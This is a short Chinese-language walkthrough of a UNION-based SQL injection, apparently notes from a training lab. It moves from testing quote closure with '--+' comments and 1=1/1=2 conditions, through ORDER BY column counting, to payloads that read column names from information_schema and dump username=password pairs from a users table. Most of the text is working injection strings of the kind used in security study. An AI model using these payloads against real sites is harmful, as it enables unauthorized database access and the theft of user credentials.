先测试一下闭合
-
注释符号：--+ 注释符号可以忽略其后的内容，使得后续的原始查询内容不会影响我们注入的SQL代码。
-
条件测试：通过and 1=1和and 1=2分别测试真假条件，可以判断输入是否成功闭合，并且可以检测注入是否成功。
kobe' and 1=1 --+和kobe' and 1=2 --+可以通过条件测试和注释符号，帮助我们确认输入是否能成功闭合，从而测试SQL注入漏洞的存在。
判断一下字段数
kobe' order by 1--+正常显示
kobe' order by 2--+正常显示
kobe' order by 3--+显示unknown
kobe' union select 1,2 --+
下一步查数据库
查到了数据库进一步查表
查字段kobe' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
查username password
kobe' union select 1,(select group_concat(username,'=',password) from users) --+
